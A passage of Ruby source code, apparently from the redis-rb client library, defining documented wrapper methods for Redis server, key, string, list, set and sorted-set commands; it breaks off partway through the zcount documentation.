# @return [Hash<String, String>]
def info(cmd = nil)
synchronize do |client|
client.call([:info, cmd].compact) do |reply|
if reply.kind_of?(String)
reply = Hash[reply.split("\r\n").map do |line|
line.split(":", 2) unless line =~ /^(#|$)/
end.compact]
if cmd && cmd.to_s == "commandstats"
# Extract nested hashes for INFO COMMANDSTATS
reply = Hash[reply.map do |k, v|
v = v.split(",").map { |e| e.split("=") }
[k[/^cmdstat_(.*)$/, 1], Hash[v]]
end]
end
end
reply
end
end
end
# Get the UNIX time stamp of the last successful save to disk.
#
# @return [Fixnum]
def lastsave
synchronize do |client|
client.call([:lastsave])
end
end
# Listen for all requests received by the server in real time.
#
# There is no way to interrupt this command.
#
# @yield a block to be called for every line of output
# @yieldparam [String] line timestamp and command that was executed
def monitor(&block)
synchronize do |client|
client.call_loop([:monitor], &block)
end
end
# Synchronously save the dataset to disk.
#
# @return [String]
def save
synchronize do |client|
client.call([:save])
end
end
# Synchronously save the dataset to disk and then shut down the server.
def shutdown
synchronize do |client|
client.with_reconnect(false) do
begin
client.call([:shutdown])
rescue ConnectionError
# This means Redis has probably exited.
nil
end
end
end
end
# Make the server a slave of another instance, or promote it as master.
def slaveof(host, port)
synchronize do |client|
client.call([:slaveof, host, port])
end
end
# Interact with the slowlog (get, len, reset)
#
# @param [String] subcommand e.g. `get`, `len`, `reset`
# @param [Fixnum] length maximum number of entries to return
# @return [Array<String>, Fixnum, String] depends on subcommand
def slowlog(subcommand, length=nil)
synchronize do |client|
args = [:slowlog, subcommand]
args << length if length
client.call args
end
end
# Internal command used for replication.
def sync
synchronize do |client|
client.call([:sync])
end
end
# Return the server time.
#
# @example
# r.time # => [ 1333093196, 606806 ]
#
# @return [Array<Fixnum>] tuple of seconds since UNIX epoch and
# microseconds in the current second
def time
synchronize do |client|
client.call([:time]) do |reply|
reply.map(&:to_i) if reply
end
end
end
# Remove the expiration from a key.
#
# @param [String] key
# @return [Boolean] whether the timeout was removed or not
def persist(key)
synchronize do |client|
client.call([:persist, key], &_boolify)
end
end
# Set a key's time to live in seconds.
#
# @param [String] key
# @param [Fixnum] seconds time to live
# @return [Boolean] whether the timeout was set or not
def expire(key, seconds)
synchronize do |client|
client.call([:expire, key, seconds], &_boolify)
end
end
# Set the expiration for a key as a UNIX timestamp.
#
# @param [String] key
# @param [Fixnum] unix_time expiry time specified as a UNIX timestamp
# @return [Boolean] whether the timeout was set or not
def expireat(key, unix_time)
synchronize do |client|
client.call([:expireat, key, unix_time], &_boolify)
end
end
# Get the time to live (in seconds) for a key.
#
# @param [String] key
# @return [Fixnum] remaining time to live in seconds, or -1 if the
# key does not exist or does not have a timeout
def ttl(key)
synchronize do |client|
client.call([:ttl, key])
end
end
# Set a key's time to live in milliseconds.
#
# @param [String] key
# @param [Fixnum] milliseconds time to live
# @return [Boolean] whether the timeout was set or not
def pexpire(key, milliseconds)
synchronize do |client|
client.call([:pexpire, key, milliseconds], &_boolify)
end
end
# Set the expiration for a key as number of milliseconds from UNIX Epoch.
#
# @param [String] key
# @param [Fixnum] ms_unix_time expiry time specified as number of milliseconds from UNIX Epoch.
# @return [Boolean] whether the timeout was set or not
def pexpireat(key, ms_unix_time)
synchronize do |client|
client.call([:pexpireat, key, ms_unix_time], &_boolify)
end
end
# Get the time to live (in milliseconds) for a key.
#
# @param [String] key
# @return [Fixnum] remaining time to live in milliseconds, or -1 if the
# key does not exist or does not have a timeout
def pttl(key)
synchronize do |client|
client.call([:pttl, key])
end
end
# Return a serialized version of the value stored at a key.
#
# @param [String] key
# @return [String] serialized_value
def dump(key)
synchronize do |client|
client.call([:dump, key])
end
end
# Create a key using the serialized value, previously obtained using DUMP.
#
# @param [String] key
# @param [String] ttl
# @param [String] serialized_value
# @return `"OK"`
def restore(key, ttl, serialized_value)
synchronize do |client|
client.call([:restore, key, ttl, serialized_value])
end
end
# Transfer a key from the connected instance to another instance.
#
# @param [String] key
# @param [Hash] options
# - `:host => String`: host of instance to migrate to
# - `:port => Integer`: port of instance to migrate to
# - `:db => Integer`: database to migrate to (default: same as source)
# - `:timeout => Integer`: timeout (default: same as connection timeout)
# @return [String] `"OK"`
def migrate(key, options)
host = options[:host] || raise(RuntimeError, ":host not specified")
port = options[:port] || raise(RuntimeError, ":port not specified")
db = (options[:db] || client.db).to_i
timeout = (options[:timeout] || client.timeout).to_i
synchronize do |client|
client.call([:migrate, host, port, key, db, timeout])
end
end
# Delete one or more keys.
#
# @param [String, Array<String>] keys
# @return [Fixnum] number of keys that were deleted
def del(*keys)
synchronize do |client|
client.call([:del] + keys)
end
end
# Determine if a key exists.
#
# @param [String] key
# @return [Boolean]
def exists(key)
synchronize do |client|
client.call([:exists, key], &_boolify)
end
end
# Find all keys matching the given pattern.
#
# @param [String] pattern
# @return [Array<String>]
def keys(pattern = "*")
synchronize do |client|
client.call([:keys, pattern]) do |reply|
if reply.kind_of?(String)
reply.split(" ")
else
reply
end
end
end
end
# Move a key to another database.
#
# @example Move a key to another database
# redis.set "foo", "bar"
# # => "OK"
# redis.move "foo", 2
# # => true
# redis.exists "foo"
# # => false
# redis.select 2
# # => "OK"
# redis.exists "foo"
# # => true
# redis.get "foo"
# # => "bar"
#
# @param [String] key
# @param [Fixnum] db
# @return [Boolean] whether the key was moved or not
def move(key, db)
synchronize do |client|
client.call([:move, key, db], &_boolify)
end
end
def object(*args)
synchronize do |client|
client.call([:object] + args)
end
end
# Return a random key from the keyspace.
#
# @return [String]
def randomkey
synchronize do |client|
client.call([:randomkey])
end
end
# Rename a key. If the new key already exists it is overwritten.
#
# @param [String] old_name
# @param [String] new_name
# @return [String] `OK`
def rename(old_name, new_name)
synchronize do |client|
client.call([:rename, old_name, new_name])
end
end
# Rename a key, only if the new key does not exist.
#
# @param [String] old_name
# @param [String] new_name
# @return [Boolean] whether the key was renamed or not
def renamenx(old_name, new_name)
synchronize do |client|
client.call([:renamenx, old_name, new_name], &_boolify)
end
end
# Sort the elements in a list, set or sorted set.
#
# @example Retrieve the first 2 elements from an alphabetically sorted "list"
# redis.sort("list", :order => "alpha", :limit => [0, 2])
# # => ["a", "b"]
# @example Store an alphabetically descending list in "target"
# redis.sort("list", :order => "desc alpha", :store => "target")
# # => 26
#
# @param [String] key
# @param [Hash] options
# - `:by => String`: use external key to sort elements by
# - `:limit => [offset, count]`: skip `offset` elements, return a maximum
# of `count` elements
# - `:get => [String, Array<String>]`: single key or array of keys to
# retrieve per element in the result
# - `:order => String`: combination of `ASC`, `DESC` and optionally `ALPHA`
# - `:store => String`: key to store the result at
#
# @return [Array<String>, Array<Array<String>>, Fixnum]
# - when `:get` is not specified, or holds a single element, an array of elements
# - when `:get` is specified, and holds more than one element, an array of
# elements where every element is an array with the result for every
# element specified in `:get`
# - when `:store` is specified, the number of elements in the stored result
def sort(key, options = {})
args = []
by = options[:by]
args.concat(["BY", by]) if by
limit = options[:limit]
args.concat(["LIMIT"] + limit) if limit
get = Array(options[:get])
args.concat(["GET"].product(get).flatten) unless get.empty?
order = options[:order]
args.concat(order.split(" ")) if order
store = options[:store]
args.concat(["STORE", store]) if store
synchronize do |client|
client.call([:sort, key] + args) do |reply|
if get.size > 1 && !store
if reply
reply.each_slice(get.size).to_a
end
else
reply
end
end
end
end
# Determine the type stored at key.
#
# @param [String] key
# @return [String] `string`, `list`, `set`, `zset`, `hash` or `none`
def type(key)
synchronize do |client|
client.call([:type, key])
end
end
# Decrement the integer value of a key by one.
#
# @example
# redis.decr("value")
# # => 4
#
# @param [String] key
# @return [Fixnum] value after decrementing it
def decr(key)
synchronize do |client|
client.call([:decr, key])
end
end
# Decrement the integer value of a key by the given number.
#
# @example
# redis.decrby("value", 5)
# # => 0
#
# @param [String] key
# @param [Fixnum] decrement
# @return [Fixnum] value after decrementing it
def decrby(key, decrement)
synchronize do |client|
client.call([:decrby, key, decrement])
end
end
# Increment the integer value of a key by one.
#
# @example
# redis.incr("value")
# # => 6
#
# @param [String] key
# @return [Fixnum] value after incrementing it
def incr(key)
synchronize do |client|
client.call([:incr, key])
end
end
# Increment the integer value of a key by the given integer number.
#
# @example
# redis.incrby("value", 5)
# # => 10
#
# @param [String] key
# @param [Fixnum] increment
# @return [Fixnum] value after incrementing it
def incrby(key, increment)
synchronize do |client|
client.call([:incrby, key, increment])
end
end
# Increment the numeric value of a key by the given float number.
#
# @example
# redis.incrbyfloat("value", 1.23)
# # => 1.23
#
# @param [String] key
# @param [Float] increment
# @return [Float] value after incrementing it
def incrbyfloat(key, increment)
synchronize do |client|
client.call([:incrbyfloat, key, increment], &_floatify)
end
end
# Set the string value of a key.
#
# @param [String] key
# @param [String] value
# @param [Hash] options
# - `:ex => Fixnum`: Set the specified expire time, in seconds.
# - `:px => Fixnum`: Set the specified expire time, in milliseconds.
# - `:nx => true`: Only set the key if it does not already exist.
# - `:xx => true`: Only set the key if it already exist.
# @return [String, Boolean] `"OK"` or true, false if `:nx => true` or `:xx => true`
def set(key, value, options = {})
args = []
ex = options[:ex]
args.concat(["EX", ex]) if ex
px = options[:px]
args.concat(["PX", px]) if px
nx = options[:nx]
args.concat(["NX"]) if nx
xx = options[:xx]
args.concat(["XX"]) if xx
synchronize do |client|
if nx || xx
client.call([:set, key, value.to_s] + args, &_boolify_set)
else
client.call([:set, key, value.to_s] + args)
end
end
end
alias :[]= :set
# Set the time to live in seconds of a key.
#
# @param [String] key
# @param [Fixnum] ttl
# @param [String] value
# @return `"OK"`
def setex(key, ttl, value)
synchronize do |client|
client.call([:setex, key, ttl, value.to_s])
end
end
# Set the time to live in milliseconds of a key.
#
# @param [String] key
# @param [Fixnum] ttl
# @param [String] value
# @return `"OK"`
def psetex(key, ttl, value)
synchronize do |client|
client.call([:psetex, key, ttl, value.to_s])
end
end
# Set the value of a key, only if the key does not exist.
#
# @param [String] key
# @param [String] value
# @return [Boolean] whether the key was set or not
def setnx(key, value)
synchronize do |client|
client.call([:setnx, key, value.to_s], &_boolify)
end
end
# Set one or more values.
#
# @example
# redis.mset("key1", "v1", "key2", "v2")
# # => "OK"
#
# @param [Array<String>] args array of keys and values
# @return `"OK"`
#
# @see #mapped_mset
def mset(*args)
synchronize do |client|
client.call([:mset] + args)
end
end
# Set one or more values.
#
# @example
# redis.mapped_mset({ "f1" => "v1", "f2" => "v2" })
# # => "OK"
#
# @param [Hash] hash keys mapping to values
# @return `"OK"`
#
# @see #mset
def mapped_mset(hash)
mset(hash.to_a.flatten)
end
# Set one or more values, only if none of the keys exist.
#
# @example
# redis.msetnx("key1", "v1", "key2", "v2")
# # => true
#
# @param [Array<String>] args array of keys and values
# @return [Boolean] whether or not all values were set
#
# @see #mapped_msetnx
def msetnx(*args)
synchronize do |client|
client.call([:msetnx] + args, &_boolify)
end
end
# Set one or more values, only if none of the keys exist.
#
# @example
# redis.msetnx({ "key1" => "v1", "key2" => "v2" })
# # => true
#
# @param [Hash] hash keys mapping to values
# @return [Boolean] whether or not all values were set
#
# @see #msetnx
def mapped_msetnx(hash)
msetnx(hash.to_a.flatten)
end
# Get the value of a key.
#
# @param [String] key
# @return [String]
def get(key)
synchronize do |client|
client.call([:get, key])
end
end
alias :[] :get
# Get the values of all the given keys.
#
# @example
# redis.mget("key1", "key1")
# # => ["v1", "v2"]
#
# @param [Array<String>] keys
# @return [Array<String>] an array of values for the specified keys
#
# @see #mapped_mget
def mget(*keys, &blk)
synchronize do |client|
client.call([:mget] + keys, &blk)
end
end
# Get the values of all the given keys.
#
# @example
# redis.mapped_mget("key1", "key1")
# # => { "key1" => "v1", "key2" => "v2" }
#
# @param [Array<String>] keys array of keys
# @return [Hash] a hash mapping the specified keys to their values
#
# @see #mget
def mapped_mget(*keys)
mget(*keys) do |reply|
if reply.kind_of?(Array)
Hash[keys.zip(reply)]
else
reply
end
end
end
# Overwrite part of a string at key starting at the specified offset.
#
# @param [String] key
# @param [Fixnum] offset byte offset
# @param [String] value
# @return [Fixnum] length of the string after it was modified
def setrange(key, offset, value)
synchronize do |client|
client.call([:setrange, key, offset, value.to_s])
end
end
# Get a substring of the string stored at a key.
#
# @param [String] key
# @param [Fixnum] start zero-based start offset
# @param [Fixnum] stop zero-based end offset. Use -1 for representing
# the end of the string
# @return [Fixnum] `0` or `1`
def getrange(key, start, stop)
synchronize do |client|
client.call([:getrange, key, start, stop])
end
end
# Sets or clears the bit at offset in the string value stored at key.
#
# @param [String] key
# @param [Fixnum] offset bit offset
# @param [Fixnum] value bit value `0` or `1`
# @return [Fixnum] the original bit value stored at `offset`
def setbit(key, offset, value)
synchronize do |client|
client.call([:setbit, key, offset, value])
end
end
# Returns the bit value at offset in the string value stored at key.
#
# @param [String] key
# @param [Fixnum] offset bit offset
# @return [Fixnum] `0` or `1`
def getbit(key, offset)
synchronize do |client|
client.call([:getbit, key, offset])
end
end
# Append a value to a key.
#
# @param [String] key
# @param [String] value value to append
# @return [Fixnum] length of the string after appending
def append(key, value)
synchronize do |client|
client.call([:append, key, value])
end
end
# Count the number of set bits in a range of the string value stored at key.
#
# @param [String] key
# @param [Fixnum] start start index
# @param [Fixnum] stop stop index
# @return [Fixnum] the number of bits set to 1
def bitcount(key, start = 0, stop = -1)
synchronize do |client|
client.call([:bitcount, key, start, stop])
end
end
# Perform a bitwise operation between strings and store the resulting string in a key.
#
# @param [String] operation e.g. `and`, `or`, `xor`, `not`
# @param [String] destkey destination key
# @param [String, Array<String>] keys one or more source keys to perform `operation`
# @return [Fixnum] the length of the string stored in `destkey`
def bitop(operation, destkey, *keys)
synchronize do |client|
client.call([:bitop, operation, destkey] + keys)
end
end
# Return the position of the first bit set to 1 or 0 in a string.
#
# @param [String] key
# @param [Fixnum] bit whether to look for the first 1 or 0 bit
# @param [Fixnum] start start index
# @param [Fixnum] stop stop index
# @return [Fixnum] the position of the first 1/0 bit.
# -1 if looking for 1 and it is not found or start and stop are given.
def bitpos(key, bit, start=nil, stop=nil)
if stop and not start
raise(ArgumentError, 'stop parameter specified without start parameter')
end
synchronize do |client|
command = [:bitpos, key, bit]
command << start if start
command << stop if stop
client.call(command)
end
end
# Set the string value of a key and return its old value.
#
# @param [String] key
# @param [String] value value to replace the current value with
# @return [String] the old value stored in the key, or `nil` if the key
# did not exist
def getset(key, value)
synchronize do |client|
client.call([:getset, key, value.to_s])
end
end
# Get the length of the value stored in a key.
#
# @param [String] key
# @return [Fixnum] the length of the value stored in the key, or 0
# if the key does not exist
def strlen(key)
synchronize do |client|
client.call([:strlen, key])
end
end
# Get the length of a list.
#
# @param [String] key
# @return [Fixnum]
def llen(key)
synchronize do |client|
client.call([:llen, key])
end
end
# Prepend one or more values to a list, creating the list if it doesn't exist
#
# @param [String] key
# @param [String, Array] string value, or array of string values to push
# @return [Fixnum] the length of the list after the push operation
def lpush(key, value)
synchronize do |client|
client.call([:lpush, key, value])
end
end
# Prepend a value to a list, only if the list exists.
#
# @param [String] key
# @param [String] value
# @return [Fixnum] the length of the list after the push operation
def lpushx(key, value)
synchronize do |client|
client.call([:lpushx, key, value])
end
end
# Append one or more values to a list, creating the list if it doesn't exist
#
# @param [String] key
# @param [String] value
# @return [Fixnum] the length of the list after the push operation
def rpush(key, value)
synchronize do |client|
client.call([:rpush, key, value])
end
end
# Append a value to a list, only if the list exists.
#
# @param [String] key
# @param [String] value
# @return [Fixnum] the length of the list after the push operation
def rpushx(key, value)
synchronize do |client|
client.call([:rpushx, key, value])
end
end
# Remove and get the first element in a list.
#
# @param [String] key
# @return [String]
def lpop(key)
synchronize do |client|
client.call([:lpop, key])
end
end
# Remove and get the last element in a list.
#
# @param [String] key
# @return [String]
def rpop(key)
synchronize do |client|
client.call([:rpop, key])
end
end
# Remove the last element in a list, append it to another list and return it.
#
# @param [String] source source key
# @param [String] destination destination key
# @return [nil, String] the element, or nil when the source key does not exist
def rpoplpush(source, destination)
synchronize do |client|
client.call([:rpoplpush, source, destination])
end
end
def _bpop(cmd, args)
options = {}
case args.last
when Hash
options = args.pop
when Integer
# Issue deprecation notice in obnoxious mode...
options[:timeout] = args.pop
end
if args.size > 1
# Issue deprecation notice in obnoxious mode...
end
keys = args.flatten
timeout = options[:timeout] || 0
synchronize do |client|
command = [cmd, keys, timeout]
timeout += client.timeout if timeout > 0
client.call_with_timeout(command, timeout)
end
end
# Remove and get the first element in a list, or block until one is available.
#
# @example With timeout
# list, element = redis.blpop("list", :timeout => 5)
# # => nil on timeout
# # => ["list", "element"] on success
# @example Without timeout
# list, element = redis.blpop("list")
# # => ["list", "element"]
# @example Blocking pop on multiple lists
# list, element = redis.blpop(["list", "another_list"])
# # => ["list", "element"]
#
# @param [String, Array<String>] keys one or more keys to perform the
# blocking pop on
# @param [Hash] options
# - `:timeout => Fixnum`: timeout in seconds, defaults to no timeout
#
# @return [nil, [String, String]]
# - `nil` when the operation timed out
# - tuple of the list that was popped from and element was popped otherwise
def blpop(*args)
_bpop(:blpop, args)
end
# Remove and get the last element in a list, or block until one is available.
#
# @param [String, Array<String>] keys one or more keys to perform the
# blocking pop on
# @param [Hash] options
# - `:timeout => Fixnum`: timeout in seconds, defaults to no timeout
#
# @return [nil, [String, String]]
# - `nil` when the operation timed out
# - tuple of the list that was popped from and element was popped otherwise
#
# @see #blpop
def brpop(*args)
_bpop(:brpop, args)
end
# Pop a value from a list, push it to another list and return it; or block
# until one is available.
#
# @param [String] source source key
# @param [String] destination destination key
# @param [Hash] options
# - `:timeout => Fixnum`: timeout in seconds, defaults to no timeout
#
# @return [nil, String]
# - `nil` when the operation timed out
# - the element was popped and pushed otherwise
def brpoplpush(source, destination, options = {})
case options
when Integer
# Issue deprecation notice in obnoxious mode...
options = { :timeout => options }
end
timeout = options[:timeout] || 0
synchronize do |client|
command = [:brpoplpush, source, destination, timeout]
timeout += client.timeout if timeout > 0
client.call_with_timeout(command, timeout)
end
end
# Get an element from a list by its index.
#
# @param [String] key
# @param [Fixnum] index
# @return [String]
def lindex(key, index)
synchronize do |client|
client.call([:lindex, key, index])
end
end
# Insert an element before or after another element in a list.
#
# @param [String] key
# @param [String, Symbol] where `BEFORE` or `AFTER`
# @param [String] pivot reference element
# @param [String] value
# @return [Fixnum] length of the list after the insert operation, or `-1`
# when the element `pivot` was not found
def linsert(key, where, pivot, value)
synchronize do |client|
client.call([:linsert, key, where, pivot, value])
end
end
# Get a range of elements from a list.
#
# @param [String] key
# @param [Fixnum] start start index
# @param [Fixnum] stop stop index
# @return [Array<String>]
def lrange(key, start, stop)
synchronize do |client|
client.call([:lrange, key, start, stop])
end
end
# Remove elements from a list.
#
# @param [String] key
# @param [Fixnum] count number of elements to remove. Use a positive
# value to remove the first `count` occurrences of `value`. A negative
# value to remove the last `count` occurrences of `value`. Or zero, to
# remove all occurrences of `value` from the list.
# @param [String] value
# @return [Fixnum] the number of removed elements
def lrem(key, count, value)
synchronize do |client|
client.call([:lrem, key, count, value])
end
end
# Set the value of an element in a list by its index.
#
# @param [String] key
# @param [Fixnum] index
# @param [String] value
# @return [String] `OK`
def lset(key, index, value)
synchronize do |client|
client.call([:lset, key, index, value])
end
end
# Trim a list to the specified range.
#
# @param [String] key
# @param [Fixnum] start start index
# @param [Fixnum] stop stop index
# @return [String] `OK`
def ltrim(key, start, stop)
synchronize do |client|
client.call([:ltrim, key, start, stop])
end
end
# Get the number of members in a set.
#
# @param [String] key
# @return [Fixnum]
def scard(key)
synchronize do |client|
client.call([:scard, key])
end
end
# Add one or more members to a set.
#
# @param [String] key
# @param [String, Array<String>] member one member, or array of members
# @return [Boolean, Fixnum] `Boolean` when a single member is specified,
# holding whether or not adding the member succeeded, or `Fixnum` when an
# array of members is specified, holding the number of members that were
# successfully added
def sadd(key, member)
synchronize do |client|
client.call([:sadd, key, member]) do |reply|
if member.is_a? Array
# Variadic: return integer
reply
else
# Single argument: return boolean
_boolify.call(reply)
end
end
end
end
# Remove one or more members from a set.
#
# @param [String] key
# @param [String, Array<String>] member one member, or array of members
# @return [Boolean, Fixnum] `Boolean` when a single member is specified,
# holding whether or not removing the member succeeded, or `Fixnum` when an
# array of members is specified, holding the number of members that were
# successfully removed
def srem(key, member)
synchronize do |client|
client.call([:srem, key, member]) do |reply|
if member.is_a? Array
# Variadic: return integer
reply
else
# Single argument: return boolean
_boolify.call(reply)
end
end
end
end
# Remove and return a random member from a set.
#
# @param [String] key
# @return [String]
def spop(key)
synchronize do |client|
client.call([:spop, key])
end
end
# Get one or more random members from a set.
#
# @param [String] key
# @param [Fixnum] count
# @return [String]
def srandmember(key, count = nil)
synchronize do |client|
if count.nil?
client.call([:srandmember, key])
else
client.call([:srandmember, key, count])
end
end
end
# Move a member from one set to another.
#
# @param [String] source source key
# @param [String] destination destination key
# @param [String] member member to move from `source` to `destination`
# @return [Boolean]
def smove(source, destination, member)
synchronize do |client|
client.call([:smove, source, destination, member], &_boolify)
end
end
# Determine if a given value is a member of a set.
#
# @param [String] key
# @param [String] member
# @return [Boolean]
def sismember(key, member)
synchronize do |client|
client.call([:sismember, key, member], &_boolify)
end
end
# Get all the members in a set.
#
# @param [String] key
# @return [Array<String>]
def smembers(key)
synchronize do |client|
client.call([:smembers, key])
end
end
# Subtract multiple sets.
#
# @param [String, Array<String>] keys keys pointing to sets to subtract
# @return [Array<String>] members in the difference
def sdiff(*keys)
synchronize do |client|
client.call([:sdiff] + keys)
end
end
# Subtract multiple sets and store the resulting set in a key.
#
# @param [String] destination destination key
# @param [String, Array<String>] keys keys pointing to sets to subtract
# @return [Fixnum] number of elements in the resulting set
def sdiffstore(destination, *keys)
synchronize do |client|
client.call([:sdiffstore, destination] + keys)
end
end
# Intersect multiple sets.
#
# @param [String, Array<String>] keys keys pointing to sets to intersect
# @return [Array<String>] members in the intersection
def sinter(*keys)
synchronize do |client|
client.call([:sinter] + keys)
end
end
# Intersect multiple sets and store the resulting set in a key.
#
# @param [String] destination destination key
# @param [String, Array<String>] keys keys pointing to sets to intersect
# @return [Fixnum] number of elements in the resulting set
def sinterstore(destination, *keys)
synchronize do |client|
client.call([:sinterstore, destination] + keys)
end
end
# Add multiple sets.
#
# @param [String, Array<String>] keys keys pointing to sets to unify
# @return [Array<String>] members in the union
def sunion(*keys)
synchronize do |client|
client.call([:sunion] + keys)
end
end
# Add multiple sets and store the resulting set in a key.
#
# @param [String] destination destination key
# @param [String, Array<String>] keys keys pointing to sets to unify
# @return [Fixnum] number of elements in the resulting set
def sunionstore(destination, *keys)
synchronize do |client|
client.call([:sunionstore, destination] + keys)
end
end
# Get the number of members in a sorted set.
#
# @example
# redis.zcard("zset")
# # => 4
#
# @param [String] key
# @return [Fixnum]
def zcard(key)
synchronize do |client|
client.call([:zcard, key])
end
end
# Add one or more members to a sorted set, or update the score for members
# that already exist.
#
# @example Add a single `[score, member]` pair to a sorted set
# redis.zadd("zset", 32.0, "member")
# @example Add an array of `[score, member]` pairs to a sorted set
# redis.zadd("zset", [[32.0, "a"], [64.0, "b"]])
#
# @param [String] key
# @param [[Float, String], Array<[Float, String]>] args
# - a single `[score, member]` pair
# - an array of `[score, member]` pairs
#
# @return [Boolean, Fixnum]
# - `Boolean` when a single pair is specified, holding whether or not it was
# **added** to the sorted set
# - `Fixnum` when an array of pairs is specified, holding the number of
# pairs that were **added** to the sorted set
def zadd(key, *args)
synchronize do |client|
if args.size == 1 && args[0].is_a?(Array)
# Variadic: return integer
client.call([:zadd, key] + args[0])
elsif args.size == 2
# Single pair: return boolean
client.call([:zadd, key, args[0], args[1]], &_boolify)
else
raise ArgumentError, "wrong number of arguments"
end
end
end
# Increment the score of a member in a sorted set.
#
# @example
# redis.zincrby("zset", 32.0, "a")
# # => 64.0
#
# @param [String] key
# @param [Float] increment
# @param [String] member
# @return [Float] score of the member after incrementing it
def zincrby(key, increment, member)
synchronize do |client|
client.call([:zincrby, key, increment, member], &_floatify)
end
end
# Remove one or more members from a sorted set.
#
# @example Remove a single member from a sorted set
# redis.zrem("zset", "a")
# @example Remove an array of members from a sorted set
# redis.zrem("zset", ["a", "b"])
#
# @param [String] key
# @param [String, Array<String>] member
# - a single member
# - an array of members
#
# @return [Boolean, Fixnum]
# - `Boolean` when a single member is specified, holding whether or not it
# was removed from the sorted set
# - `Fixnum` when an array of pairs is specified, holding the number of
# members that were removed to the sorted set
def zrem(key, member)
synchronize do |client|
client.call([:zrem, key, member]) do |reply|
if member.is_a? Array
# Variadic: return integer
reply
else
# Single argument: return boolean
_boolify.call(reply)
end
end
end
end
# Get the score associated with the given member in a sorted set.
#
# @example Get the score for member "a"
# redis.zscore("zset", "a")
# # => 32.0
#
# @param [String] key
# @param [String] member
# @return [Float] score of the member
def zscore(key, member)
synchronize do |client|
client.call([:zscore, key, member], &_floatify)
end
end
# Return a range of members in a sorted set, by index.
#
# @example Retrieve all members from a sorted set
# redis.zrange("zset", 0, -1)
# # => ["a", "b"]
# @example Retrieve all members and their scores from a sorted set
# redis.zrange("zset", 0, -1, :with_scores => true)
# # => [["a", 32.0], ["b", 64.0]]
#
# @param [String] key
# @param [Fixnum] start start index
# @param [Fixnum] stop stop index
# @param [Hash] options
# - `:with_scores => true`: include scores in output
#
# @return [Array<String>, Array<[String, Float]>]
# - when `:with_scores` is not specified, an array of members
# - when `:with_scores` is specified, an array with `[member, score]` pairs
def zrange(key, start, stop, options = {})
args = []
with_scores = options[:with_scores] || options[:withscores]
if with_scores
args << "WITHSCORES"
block = _floatify_pairs
end
synchronize do |client|
client.call([:zrange, key, start, stop] + args, &block)
end
end
# Return a range of members in a sorted set, by index, with scores ordered
# from high to low.
#
# @example Retrieve all members from a sorted set
# redis.zrevrange("zset", 0, -1)
# # => ["b", "a"]
# @example Retrieve all members and their scores from a sorted set
# redis.zrevrange("zset", 0, -1, :with_scores => true)
# # => [["b", 64.0], ["a", 32.0]]
#
# @see #zrange
def zrevrange(key, start, stop, options = {})
args = []
with_scores = options[:with_scores] || options[:withscores]
if with_scores
args << "WITHSCORES"
block = _floatify_pairs
end
synchronize do |client|
client.call([:zrevrange, key, start, stop] + args, &block)
end
end
# Determine the index of a member in a sorted set.
#
# @param [String] key
# @param [String] member
# @return [Fixnum]
def zrank(key, member)
synchronize do |client|
client.call([:zrank, key, member])
end
end
# Determine the index of a member in a sorted set, with scores ordered from
# high to low.
#
# @param [String] key
# @param [String] member
# @return [Fixnum]
def zrevrank(key, member)
synchronize do |client|
client.call([:zrevrank, key, member])
end
end
# Remove all members in a sorted set within the given indexes.
#
# @example Remove first 5 members
# redis.zremrangebyrank("zset", 0, 4)
# # => 5
# @example Remove last 5 members
# redis.zremrangebyrank("zset", -5, -1)
# # => 5
#
# @param [String] key
# @param [Fixnum] start start index
# @param [Fixnum] stop stop index
# @return [Fixnum] number of members that were removed
def zremrangebyrank(key, start, stop)
synchronize do |client|
client.call([:zremrangebyrank, key, start, stop])
end
end
# Return a range of members in a sorted set, by score.
#
# @example Retrieve members with score `>= 5` and `< 100`
# redis.zrangebyscore("zset", "5", "(100")
# # => ["a", "b"]
# @example Retrieve the first 2 members with score `>= 0`
# redis.zrangebyscore("zset", "0", "+inf", :limit => [0, 2])
# # => ["a", "b"]
# @example Retrieve members and their scores with scores `> 5`
# redis.zrangebyscore("zset", "(5", "+inf", :with_scores => true)
# # => [["a", 32.0], ["b", 64.0]]
#
# @param [String] key
# @param [String] min
# - inclusive minimum score is specified verbatim
# - exclusive minimum score is specified by prefixing `(`
# @param [String] max
# - inclusive maximum score is specified verbatim
# - exclusive maximum score is specified by prefixing `(`
# @param [Hash] options
# - `:with_scores => true`: include scores in output
# - `:limit => [offset, count]`: skip `offset` members, return a maximum of
# `count` members
#
# @return [Array<String>, Array<[String, Float]>]
# - when `:with_scores` is not specified, an array of members
# - when `:with_scores` is specified, an array with `[member, score]` pairs
def zrangebyscore(key, min, max, options = {})
args = []
with_scores = options[:with_scores] || options[:withscores]
if with_scores
args << "WITHSCORES"
block = _floatify_pairs
end
limit = options[:limit]
args.concat(["LIMIT"] + limit) if limit
synchronize do |client|
client.call([:zrangebyscore, key, min, max] + args, &block)
end
end
# Return a range of members in a sorted set, by score, with scores ordered
# from high to low.
#
# @example Retrieve members with score `< 100` and `>= 5`
# redis.zrevrangebyscore("zset", "(100", "5")
# # => ["b", "a"]
# @example Retrieve the first 2 members with score `<= 0`
# redis.zrevrangebyscore("zset", "0", "-inf", :limit => [0, 2])
# # => ["b", "a"]
# @example Retrieve members and their scores with scores `> 5`
# redis.zrevrangebyscore("zset", "+inf", "(5", :with_scores => true)
# # => [["b", 64.0], ["a", 32.0]]
#
# @see #zrangebyscore
def zrevrangebyscore(key, max, min, options = {})
args = []
with_scores = options[:with_scores] || options[:withscores]
if with_scores
args << ["WITHSCORES"]
block = _floatify_pairs
end
limit = options[:limit]
args.concat(["LIMIT"] + limit) if limit
synchronize do |client|
client.call([:zrevrangebyscore, key, max, min] + args, &block)
end
end
# Remove all members in a sorted set within the given scores.
#
# @example Remove members with score `>= 5` and `< 100`
# redis.zremrangebyscore("zset", "5", "(100")
# # => 2
# @example Remove members with scores `> 5`
# redis.zremrangebyscore("zset", "(5", "+inf")
# # => 2
#
# @param [String] key
# @param [String] min
# - inclusive minimum score is specified verbatim
# - exclusive minimum score is specified by prefixing `(`
# @param [String] max
# - inclusive maximum score is specified verbatim
# - exclusive maximum score is specified by prefixing `(`
# @return [Fixnum] number of members that were removed
def zremrangebyscore(key, min, max)
synchronize do |client|
client.call([:zremrangebyscore, key, min, max])
end
end
# Count the members in a sorted set with scores within the given values.
#
# @example Count members with score `>= 5` and `< 100`
# redis.zcount("zset", "5", "(100")
# # => 2
# @example Count members with scores `> 5`
# redis.zcount("zset", "(5", "+inf")
# # => 2
#
# @param [String] key
# @param [String] min
# - inclusive minimum score is specified verbatim
# - exclusive minimum score is specified by prefixing `(`
# @param [String] max
# - inclusive maximum score is specified verbatim
